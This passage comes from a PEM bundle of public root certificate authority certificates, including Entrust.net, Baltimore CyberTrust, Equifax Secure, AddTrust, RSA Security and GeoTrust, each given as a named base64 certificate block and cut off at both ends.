HQYDVR0OBBYEFPAXYhNVPbP/CgBr+1CEl/PtYtAaMAwGA1UdEwQFMAMBAf8wGQYJKoZIhvZ9B0EA BAwwChsEVjQuMAMCBJAwDQYJKoZIhvcNAQEFBQADgYEAkNwwAvpkdMKnCqV8IY00F6j7Rw7/JXyN Ewr75Ji174z4xRAN95K+8cPV1ZVqBLssziY2ZcgxxufuP+NXdYR6Ee9GTxj005i7qIcyunL2POI9 n9cd2cNgQ4xYDiKWL2KjLB+6rQXvqzJ4h6BUcxm1XAX5Uj5tLUUL9wqT6u0G+bI= -----END CERTIFICATE----- Entrust.net Premium 2048 Secure Server CA ========================================= -----BEGIN CERTIFICATE----- MIIEXDCCA0SgAwIBAgIEOGO5ZjANBgkqhkiG9w0BAQUFADCBtDEUMBIGA1UEChMLRW50cnVzdC5u ZXQxQDA+BgNVBAsUN3d3dy5lbnRydXN0Lm5ldC9DUFNfMjA0OCBpbmNvcnAuIGJ5IHJlZi4gKGxp bWl0cyBsaWFiLikxJTAjBgNVBAsTHChjKSAxOTk5IEVudHJ1c3QubmV0IExpbWl0ZWQxMzAxBgNV BAMTKkVudHJ1c3QubmV0IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ICgyMDQ4KTAeFw05OTEyMjQx NzUwNTFaFw0xOTEyMjQxODIwNTFaMIG0MRQwEgYDVQQKEwtFbnRydXN0Lm5ldDFAMD4GA1UECxQ3 d3d3LmVudHJ1c3QubmV0L0NQU18yMDQ4IGluY29ycC4gYnkgcmVmLiAobGltaXRzIGxpYWIuKTEl MCMGA1UECxMcKGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRlZDEzMDEGA1UEAxMqRW50cnVzdC5u ZXQgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgKDIwNDgpMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEArU1LqRKGsuqjIAcVFmQqK0vRvwtKTY7tgHalZ7d4QMBzQshowNtTK91euHaYNZOL Gp18EzoOH1u3Hs/lJBQesYGpjX24zGtLA/ECDNyrpUAkAH90lKGdCCmziAv1h3edVc3kw37XamSr hRSGlVuXMlBvPci6Zgzj/L24ScF2iUkZ/cCovYmjZy/Gn7xxGWC4LeksyZB2ZnuU4q941mVTXTzW nLLPKQP5L6RQstRIzgUyVYr9smRMDuSYB3Xbf9+5CFVghTAp+XtIpGmG4zU/HoZdenoVve8AjhUi VBcAkCaTvA5JaJG/+EfTnZVCwQ5N328mz8MYIWJmQ3DW1cAH4QIDAQABo3QwcjARBglghkgBhvhC AQEEBAMCAAcwHwYDVR0jBBgwFoAUVeSB0RGAvtiJuQijMfmhJAkWuXAwHQYDVR0OBBYEFFXkgdER gL7YibkIozH5oSQJFrlwMB0GCSqGSIb2fQdBAAQQMA4bCFY1LjA6NC4wAwIEkDANBgkqhkiG9w0B AQUFAAOCAQEAWUesIYSKF8mciVMeuoCFGsY8Tj6xnLZ8xpJdGGQC49MGCBFhfGPjK50xA3B20qMo oPS7mmNz7W3lKtvtFKkrxjYR0CvrB4ul2p5cGZ1WEvVUKcgF7bISKo30Axv/55IQh7A6tcOdBTcS o8f0FbnVpDkWm1M6I5HxqIKiaohowXkCIryqptau37AUX7iH0N18f3v/rxzP5tsHrV7bhZ3QKw0z 2wTR5klAEyt2+z7pnIkPFc4YsIV4IU9rTw76NmfNB/L/CNDi3tm/Kq+4h4YhPATKt5Rof8886ZjX OP/swNlQ8C5LWK5Gb9Auw2DaclVyvUxFnmG6v4SBkgPR0ml8xQ== -----END CERTIFICATE----- Baltimore CyberTrust Root ========================= -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIEAgAAuTANBgkqhkiG9w0BAQUFADBaMQswCQYDVQQGEwJJRTESMBAGA1UE ChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3li ZXJUcnVzdCBSb290MB4XDTAwMDUxMjE4NDYwMFoXDTI1MDUxMjIzNTkwMFowWjELMAkGA1UEBhMC SUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFs dGltb3JlIEN5YmVyVHJ1c3QgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKME uyKrmD1X6CZymrV51Cni4eiVgLGw41uOKymaZN+hXe2wCQVt2yguzmKiYv60iNoS6zjrIZ3AQSsB UnuId9Mcj8e6uYi1agnnc+gRQKfRzMpijS3ljwumUNKoUMMo6vWrJYeKmpYcqWe4PwzV9/lSEy/C G9VwcPCPwBLKBsua4dnKM3p31vjsufFoREJIE9LAwqSuXmD+tqYF/LTdB1kC1FkYmGP1pWPgkAx9 XbIGevOF6uvUA65ehD5f/xXtabz5OTZydc93Uk3zyZAsuT3lySNTPx8kmCFcB5kpvcY67Oduhjpr l3RjM71oGDHweI12v/yejl0qhqdNkNwnGjkCAwEAAaNFMEMwHQYDVR0OBBYEFOWdWTCCR1jMrPoI VDaGezq1BE3wMBIGA1UdEwEB/wQIMAYBAf8CAQMwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEB BQUAA4IBAQCFDF2O5G9RaEIFoN27TyclhAO992T9Ldcw46QQF+vaKSm2eT929hkTI7gQCvlYpNRh cL0EYWoSihfVCr3FvDB81ukMJY2GQE/szKN+OMY3EU/t3WgxjkzSswF07r51XgdIGn9w/xZchMB5 hbgF/X++ZRGjD8ACtPhSNzkE1akxehi/oCr0Epn3o0WC4zxe9Z2etciefC7IpJ5OCBRLbf1wbWsa Y71k5h+3zvDyny67G7fyUIhzksLi4xaNmjICq44Y3ekQEe5+NauQrz4wlHrQMz2nZQ/1/I6eYs9H RCwBXbsdtTLSR9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmp -----END CERTIFICATE----- Equifax Secure Global eBusiness CA ================================== -----BEGIN CERTIFICATE----- MIICkDCCAfmgAwIBAgIBATANBgkqhkiG9w0BAQQFADBaMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT RXF1aWZheCBTZWN1cmUgSW5jLjEtMCsGA1UEAxMkRXF1aWZheCBTZWN1cmUgR2xvYmFsIGVCdXNp bmVzcyBDQS0xMB4XDTk5MDYyMTA0MDAwMFoXDTIwMDYyMTA0MDAwMFowWjELMAkGA1UEBhMCVVMx HDAaBgNVBAoTE0VxdWlmYXggU2VjdXJlIEluYy4xLTArBgNVBAMTJEVxdWlmYXggU2VjdXJlIEds b2JhbCBlQnVzaW5lc3MgQ0EtMTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAuucXkAJlsTRV PEnCUdXfp9E3j9HngXNBUmCbnaEXJnitx7HoJpQytd4zjTov2/KaelpzmKNc6fuKcxtc58O/gGzN qfTWK8D3+ZmqY6KxRwIP1ORROhI8bIpaVIRw28HFkM9yRcuoWcDNM50/o5brhTMhHD4ePmBudpxn hcXIw2ECAwEAAaNmMGQwEQYJYIZIAYb4QgEBBAQDAgAHMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0j BBgwFoAUvqigdHJQa0S3ySPY+6j/s1draGwwHQYDVR0OBBYEFL6ooHRyUGtEt8kj2Puo/7NXa2hs MA0GCSqGSIb3DQEBBAUAA4GBADDiAVGqx+pf2rnQZQ8w1j7aDRRJbpGTJxQx78T3LUX47Me/okEN I7SS+RkAZ70Br83gcfxaz2TE4JaY0KNA4gGK7ycH8WUBikQtBmV1UsCGECAhX2xrD2yuCRyv8qIY NMR1pHMc8Y3c7635s3a0kr/clRAevsvIO1qEYBlWlKlV -----END CERTIFICATE----- Equifax Secure eBusiness CA 1 ============================= -----BEGIN CERTIFICATE----- MIICgjCCAeugAwIBAgIBBDANBgkqhkiG9w0BAQQFADBTMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT RXF1aWZheCBTZWN1cmUgSW5jLjEmMCQGA1UEAxMdRXF1aWZheCBTZWN1cmUgZUJ1c2luZXNzIENB LTEwHhcNOTkwNjIxMDQwMDAwWhcNMjAwNjIxMDQwMDAwWjBTMQswCQYDVQQGEwJVUzEcMBoGA1UE ChMTRXF1aWZheCBTZWN1cmUgSW5jLjEmMCQGA1UEAxMdRXF1aWZheCBTZWN1cmUgZUJ1c2luZXNz IENBLTEwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAM4vGbwXt3fek6lfWg0XTzQaDJj0ItlZ 1MRoRvC0NcWFAyDGr0WlIVFFQesWWDYyb+JQYmT5/VGcqiTZ9J2DKocKIdMSODRsjQBuWqDZQu4a IZX5UkxVWsUPOE9G+m34LjXWHXzr4vCwdYDIqROsvojvOm6rXyo4YgKwEnv+j6YDAgMBAAGjZjBk MBEGCWCGSAGG+EIBAQQEAwIABzAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFEp4MlIR21kW Nl7fwRQ2QGpHfEyhMB0GA1UdDgQWBBRKeDJSEdtZFjZe38EUNkBqR3xMoTANBgkqhkiG9w0BAQQF AAOBgQB1W6ibAxHm6VZMzfmpTMANmvPMZWnmJXbMWbfWVMMdzZmsGd20hdXgPfxiIKeES1hl8eL5 lSE/9dR+WB5Hh1Q+WKG1tfgq73HnvMP2sUlG4tega+VWeponmHxGYhTnyfxuAxJ5gDgdSIKN/Bf+ KpYrtWKmpj29f5JZzVoqgrI3eQ== -----END CERTIFICATE----- Equifax Secure eBusiness CA 2 ============================= -----BEGIN CERTIFICATE----- MIIDIDCCAomgAwIBAgIEN3DPtTANBgkqhkiG9w0BAQUFADBOMQswCQYDVQQGEwJVUzEXMBUGA1UE ChMORXF1aWZheCBTZWN1cmUxJjAkBgNVBAsTHUVxdWlmYXggU2VjdXJlIGVCdXNpbmVzcyBDQS0y MB4XDTk5MDYyMzEyMTQ0NVoXDTE5MDYyMzEyMTQ0NVowTjELMAkGA1UEBhMCVVMxFzAVBgNVBAoT DkVxdWlmYXggU2VjdXJlMSYwJAYDVQQLEx1FcXVpZmF4IFNlY3VyZSBlQnVzaW5lc3MgQ0EtMjCB nzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA5Dk5kx5SBhsoNviyoynF7Y6yEb3+6+e0dMKP/wXn 2Z0GvxLIPw7y1tEkshHe0XMJitSxLJgJDR5QRrKDpkWNYmi7hRsgcDKqQM2mll/EcTc/BPO3QSQ5 BxoeLmFYoBIL5aXfxavqN3HMHMg3OrmXUqesxWoklE6ce8/AatbfIb0CAwEAAaOCAQkwggEFMHAG A1UdHwRpMGcwZaBjoGGkXzBdMQswCQYDVQQGEwJVUzEXMBUGA1UEChMORXF1aWZheCBTZWN1cmUx JjAkBgNVBAsTHUVxdWlmYXggU2VjdXJlIGVCdXNpbmVzcyBDQS0yMQ0wCwYDVQQDEwRDUkwxMBoG A1UdEAQTMBGBDzIwMTkwNjIzMTIxNDQ1WjALBgNVHQ8EBAMCAQYwHwYDVR0jBBgwFoAUUJ4L6q9e uSBIplBqy/3YIHqngnYwHQYDVR0OBBYEFFCeC+qvXrkgSKZQasv92CB6p4J2MAwGA1UdEwQFMAMB Af8wGgYJKoZIhvZ9B0EABA0wCxsFVjMuMGMDAgbAMA0GCSqGSIb3DQEBBQUAA4GBAAyGgq3oThr1 jokn4jVYPSm0B482UJW/bsGe68SQsoWou7dC4A8HOd/7npCy0cE+U58DRLB+S/Rv5Hwf5+Kx5Lia 78O9zt4LMjTZ3ijtM2vE1Nc9ElirfQkty3D1E4qUoSek1nDFbZS1yX2doNLGCEnZZpum0/QL3MUm V+GRMOrN -----END CERTIFICATE----- AddTrust Low-Value Services Root ================================ -----BEGIN CERTIFICATE----- MIIEGDCCAwCgAwIBAgIBATANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSEwHwYDVQQDExhBZGRU cnVzdCBDbGFzcyAxIENBIFJvb3QwHhcNMDAwNTMwMTAzODMxWhcNMjAwNTMwMTAzODMxWjBlMQsw CQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBO ZXR3b3JrMSEwHwYDVQQDExhBZGRUcnVzdCBDbGFzcyAxIENBIFJvb3QwggEiMA0GCSqGSIb3DQEB AQUAA4IBDwAwggEKAoIBAQCWltQhSWDia+hBBwzexODcEyPNwTXH+9ZOEQpnXvUGW2ulCDtbKRY6 54eyNAbFvAWlA3yCyykQruGIgb3WntP+LVbBFc7jJp0VLhD7Bo8wBN6ntGO0/7Gcrjyvd7ZWxbWr oulpOj0OM3kyP3CCkplhbY0wCI9xP6ZIVxn4JdxLZlyldI+Yrsj5wAYi56xz36Uu+1LcsRVlIPo1 Zmne3yzxbrww2ywkEtvrNTVokMsAsJchPXQhI2U0K7t4WaPW4XY5mqRJjox0r26kmqPZm9I4XJui GMx1I4S+6+JNM3GOGvDC+Mcdoq0Dlyz4zyXG9rgkMbFjXZJ/Y/AlyVMuH79NAgMBAAGjgdIwgc8w HQYDVR0OBBYEFJWxtPCUtr3H2tERCSG+wa9J/RB7MAsGA1UdDwQEAwIBBjAPBgNVHRMBAf8EBTAD AQH/MIGPBgNVHSMEgYcwgYSAFJWxtPCUtr3H2tERCSG+wa9J/RB7oWmkZzBlMQswCQYDVQQGEwJT RTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSEw HwYDVQQDExhBZGRUcnVzdCBDbGFzcyAxIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBACxt ZBsfzQ3duQH6lmM0MkhHma6X7f1yFqZzR1r0693p9db7RcwpiURdv0Y5PejuvE1Uhh4dbOMXJ0Ph iVYrqW9yTkkz43J8KiOavD7/KCrto/8cI7pDVwlnTUtiBi34/2ydYB7YHEt9tTEv2dB8Xfjea4MY eDdXL+gzB2ffHsdrKpV2ro9Xo/D0UrSpUwjP4E/TelOL/bscVjby/rK25Xa71SJlpz/+0WatC7xr mYbvP33zGDLKe8bjq2RGlfgmadlVg3sslgf/WSxEo8bl6ancoWOAWiFeIc9TVPC6b4nbqKqVz4vj ccweGyBECMB6tkD9xOQ14R0WHNC8K47Wcdk= -----END CERTIFICATE----- AddTrust External Root ====================== -----BEGIN CERTIFICATE----- MIIENjCCAx6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYD VQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEw NDgzOFowbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRU cnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0Eg Um9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALf3GjPm8gAELTngTlvtH7xsD821 +iO2zt6bETOXpClMfZOfvUq8k+0DGuOPz+VtUFrWlymUWoCwSXrbLpX9uMq/NzgtHj6RQa1wVsfw Tz/oMp50ysiQVOnGXw94nZpAPA6sYapeFI+eh6FqUNzXmk6vBbOmcZSccbNQYArHE504B4YCqOmo aSYYkKtMsE8jqzpPhNjfzp/haW+710LXa0Tkx63ubUFfclpxCDezeWWkWaCUN/cALw3CknLa0Dhy 2xSoRcRdKn23tNbE7qzNE0S3ySvdQwAl+mG5aWpYIxG3pzOPVnVZ9c0p10a3CitlttNCbxWyuHv7 7+ldU9U0WicCAwEAAaOB3DCB2TAdBgNVHQ4EFgQUrb2YejS0Jvf6xCZU7wO94CTLVBowCwYDVR0P BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wgZkGA1UdIwSBkTCBjoAUrb2YejS0Jvf6xCZU7wO94CTL VBqhc6RxMG8xCzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEmMCQGA1UECxMdQWRk VHJ1c3QgRXh0ZXJuYWwgVFRQIE5ldHdvcmsxIjAgBgNVBAMTGUFkZFRydXN0IEV4dGVybmFsIENB IFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBALCb4IUlwtYj4g+WBpKdQZic2YR5gdkeWxQHIzZl j7DYd7usQWxHYINRsPkyPef89iYTx4AWpb9a/IfPeHmJIZriTAcKhjW88t5RxNKWt9x+Tu5w/Rw5 6wwCURQtjr0W4MHfRnXnJK3s9EK0hZNwEGe6nQY1ShjTK3rMUUKhemPR5ruhxSvCNr4TDea9Y355 e6cJDUCrat2PisP29owaQgVR1EX1n6diIWgVIEM8med8vSTYqZEXc4g/VhsxOBi0cQ+azcgOno4u G+GMmIPLHzHxREzGBHNJdmAPx/i9F4BrLunMTA5amnkPIAou1Z5jJh5VkpTYghdae9C8x49OhgQ= -----END CERTIFICATE----- AddTrust Public Services Root ============================= -----BEGIN CERTIFICATE----- MIIEFTCCAv2gAwIBAgIBATANBgkqhkiG9w0BAQUFADBkMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSAwHgYDVQQDExdBZGRU cnVzdCBQdWJsaWMgQ0EgUm9vdDAeFw0wMDA1MzAxMDQxNTBaFw0yMDA1MzAxMDQxNTBaMGQxCzAJ BgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEdMBsGA1UECxMUQWRkVHJ1c3QgVFRQIE5l dHdvcmsxIDAeBgNVBAMTF0FkZFRydXN0IFB1YmxpYyBDQSBSb290MIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEA6Rowj4OIFMEg2Dybjxt+A3S72mnTRqX4jsIMEZBRpS9mVEBV6tsfSlbu nyNu9DnLoblv8n75XYcmYZ4c+OLspoH4IcUkzBEMP9smcnrHAZcHF/nXGCwwfQ56HmIexkvA/X1i d9NEHif2P0tEs7c42TkfYNVRknMDtABp4/MUTu7R3AnPdzRGULD4EfL+OHn3Bzn+UZKXC1sIXzSG Aa2Il+tmzV7R/9x98oTaunet3IAIx6eH1lWfl2royBFkuucZKT8Rs3iQhCBSWxHveNCD9tVIkNAw HM+A+WD+eeSI8t0A65RF62WUaUC6wNW0uLp9BBGo6zEFlpROWCGOn9Bg/QIDAQABo4HRMIHOMB0G A1UdDgQWBBSBPjfYkrAfd59ctKtzquf2NGAv+jALBgNVHQ8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB /zCBjgYDVR0jBIGGMIGDgBSBPjfYkrAfd59ctKtzquf2NGAv+qFopGYwZDELMAkGA1UEBhMCU0Ux FDASBgNVBAoTC0FkZFRydXN0IEFCMR0wGwYDVQQLExRBZGRUcnVzdCBUVFAgTmV0d29yazEgMB4G A1UEAxMXQWRkVHJ1c3QgUHVibGljIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBAAP3FUr4 JNojVhaTdt02KLmuG7jD8WS6IBh4lSknVwW8fCr0uVFV2ocC3g8WFzH4qnkuCRO7r7IgGRLlk/lL +YPoRNWyQSW/iHVv/xD8SlTQX/D67zZzfRs2RcYhbbQVuE7PnFylPVoAjgbjPGsye/Kf8Lb93/Ao GEjwxrzQvzSAlsJKsW2Ox5BF3i9nrEUEo3rcVZLJR2bYGozH7ZxOmuASu7VqTITh4SINhwBk/ox9 Yjllpu9CtoAlEmEBqCQTcAARJl/6NVDFSMwGR+gn2HCNX2TmoUQmXiLsks3/QppEIW1cxeMiHV9H EufOX1362KqxMy3ZdvJOOjMMK7MtkAY= -----END CERTIFICATE----- AddTrust Qualified Certificates Root ==================================== -----BEGIN CERTIFICATE----- MIIEHjCCAwagAwIBAgIBATANBgkqhkiG9w0BAQUFADBnMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSMwIQYDVQQDExpBZGRU cnVzdCBRdWFsaWZpZWQgQ0EgUm9vdDAeFw0wMDA1MzAxMDQ0NTBaFw0yMDA1MzAxMDQ0NTBaMGcx CzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEdMBsGA1UECxMUQWRkVHJ1c3QgVFRQ IE5ldHdvcmsxIzAhBgNVBAMTGkFkZFRydXN0IFF1YWxpZmllZCBDQSBSb290MIIBIjANBgkqhkiG 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5B6a/twJWoekn0e+EV+vhDTbYjx5eLfpMLXsDBwqxBb/4Oxx 64r1EW7tTw2R0hIYLUkVAcKkIhPHEWT/IhKauY5cLwjPcWqzZwFZ8V1G87B4pfYOQnrjfxvM0PC3 KP0q6p6zsLkEqv32x7SxuCqg+1jxGaBvcCV+PmlKfw8i2O+tCBGaKZnhqkRFmhJePp1tUvznoD1o L/BLcHwTOK28FSXx1s6rosAx1i+f4P8UWfyEk9mHfExUE+uf0S0R+Bg6Ot4l2ffTQO2kBhLEO+GR wVY18BTcZTYJbqukB8c10cIDMzZbdSZtQvESa0NvS3GU+jQd7RNuyoB/mC9suWXY6QIDAQABo4HU MIHRMB0GA1UdDgQWBBQ5lYtii1zJ1IC6WA+XPxUIQ8yYpzALBgNVHQ8EBAMCAQYwDwYDVR0TAQH/ BAUwAwEB/zCBkQYDVR0jBIGJMIGGgBQ5lYtii1zJ1IC6WA+XPxUIQ8yYp6FrpGkwZzELMAkGA1UE BhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMR0wGwYDVQQLExRBZGRUcnVzdCBUVFAgTmV0d29y azEjMCEGA1UEAxMaQWRkVHJ1c3QgUXVhbGlmaWVkIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQAD ggEBABmrder4i2VhlRO6aQTvhsoToMeqT2QbPxj2qC0sVY8FtzDqQmodwCVRLae/DLPt7wh/bDxG GuoYQ992zPlmhpwsaPXpF/gxsxjE1kh9I0xowX67ARRvxdlu3rsEQmr49lx95dr6h+sNNVJn0J6X dgWTP5XHAeZpVTh/EGGZyeNfpso+gmNIquIISD6q8rKFYqa0p9m9N5xotS1WfbC3P6CxB9bpT9ze RXEwMn8bLgn5v1Kh7sKAPgZcLlVAwRv1cEWw3F369nJad9Jjzc9YiQBCYz95OdBEsIJuQRno3eDB iFrRHnGTHyQwdOUeqN48Jzd/g66ed8/wMLH/S5noxqE= -----END CERTIFICATE----- Entrust Root Certification Authority ==================================== -----BEGIN CERTIFICATE----- MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMCVVMxFjAUBgNV BAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0Lm5ldC9DUFMgaXMgaW5jb3Jw b3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMWKGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsG A1UEAxMkRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0 MloXDTI2MTEyNzIwNTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMu MTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVu Y2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9v dCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ALaVtkNC+sZtKm9I35RMOVcF7sN5EUFoNu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYsz A9u3g3s+IIRe7bJWKKf44LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOww Cj0Yzfv9KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGIrb68 j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi94DkZfs0Nw4pgHBN rziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOBsDCBrTAOBgNVHQ8BAf8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAigA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1 MzQyWjAfBgNVHSMEGDAWgBRokORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DH hmak8fdLQ/uEvW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9tO1KzKtvn1ISM Y/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6ZuaAGAT/3B+XxFNSRuzFVJ7yVTa v52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTS W3iDVuycNsMm4hH2Z0kdkquM++v/eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0 tHuu2guQOHXvgR1m0vdXcDazv/wor3ElhVsT/h5/WrQ8 -----END CERTIFICATE----- RSA Security 2048 v3 ==================== -----BEGIN CERTIFICATE----- MIIDYTCCAkmgAwIBAgIQCgEBAQAAAnwAAAAKAAAAAjANBgkqhkiG9w0BAQUFADA6MRkwFwYDVQQK ExBSU0EgU2VjdXJpdHkgSW5jMR0wGwYDVQQLExRSU0EgU2VjdXJpdHkgMjA0OCBWMzAeFw0wMTAy MjIyMDM5MjNaFw0yNjAyMjIyMDM5MjNaMDoxGTAXBgNVBAoTEFJTQSBTZWN1cml0eSBJbmMxHTAb BgNVBAsTFFJTQSBTZWN1cml0eSAyMDQ4IFYzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC AQEAt49VcdKA3XtpeafwGFAyPGJn9gqVB93mG/Oe2dJBVGutn3y+Gc37RqtBaB4Y6lXIL5F4iSj7 Jylg/9+PjDvJSZu1pJTOAeo+tWN7fyb9Gd3AIb2E0S1PRsNO3Ng3OTsor8udGuorryGlwSMiuLgb WhOHV4PR8CDn6E8jQrAApX2J6elhc5SYcSa8LWrg903w8bYqODGBDSnhAMFRD0xS+ARaqn1y07iH KrtjEAMqs6FPDVpeRrc9DvV07Jmf+T0kgYim3WBU6JU2PcYJk5qjEoAAVZkZR73QpXzDuvsf9/UP +Ky5tfQ3mBMY3oVbtwyCO4dvlTlYMNpuAWgXIszACwIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/ MA4GA1UdDwEB/wQEAwIBBjAfBgNVHSMEGDAWgBQHw1EwpKrpRa41JPr/JCwz0LGdjDAdBgNVHQ4E FgQUB8NRMKSq6UWuNST6/yQsM9CxnYwwDQYJKoZIhvcNAQEFBQADggEBAF8+hnZuuDU8TjYcHnmY v/3VEhF5Ug7uMYm83X/50cYVIeiKAVQNOvtUudZj1LGqlk2iQk3UUx+LEN5/Zb5gEydxiKRz44Rj 0aRV4VCT5hsOedBnvEbIvz8XDZXmxpBp3ue0L96VfdASPz0+f00/FGj1EVDVwfSQpQgdMWD/YIwj VAqv/qFuxdF6Kmh4zx6CCiC0H63lhbJqaHVOrSU3lIW+vaHU6rcMSzyd6BIA8F+sDeGscGNz9395 nzIlQnQFgCi/vcEkllgVsRch6YlL2weIZ/QVrXA+L02FO8K32/6YaCOJ4XQP3vTFhGMpG8zLB8kA pKnXwiJPZ9d37CAFYd4= -----END CERTIFICATE----- GeoTrust Global CA ================== -----BEGIN CERTIFICATE----- MIIDVDCCAjygAwIBAgIDAjRWMA0GCSqGSIb3DQEBBQUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQK Ew1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMDIwNTIxMDQw MDAwWhcNMjIwNTIxMDQwMDAwWjBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5j LjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEA2swYYzD99BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjo BbdqfnGk5sRgprDvgOSJKA+eJdbtg/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDviS2Aelet 8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU1XupGc1V3sjs0l44U+Vc T4wt/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+bw8HHa8sHo9gOeL6NlMTOdReJivbPagU vTLrGAMoUgRx5aszPeE4uwc2hGKceeoWMPRfwCvocWvk+QIDAQABo1MwUTAPBgNVHRMBAf8EBTAD 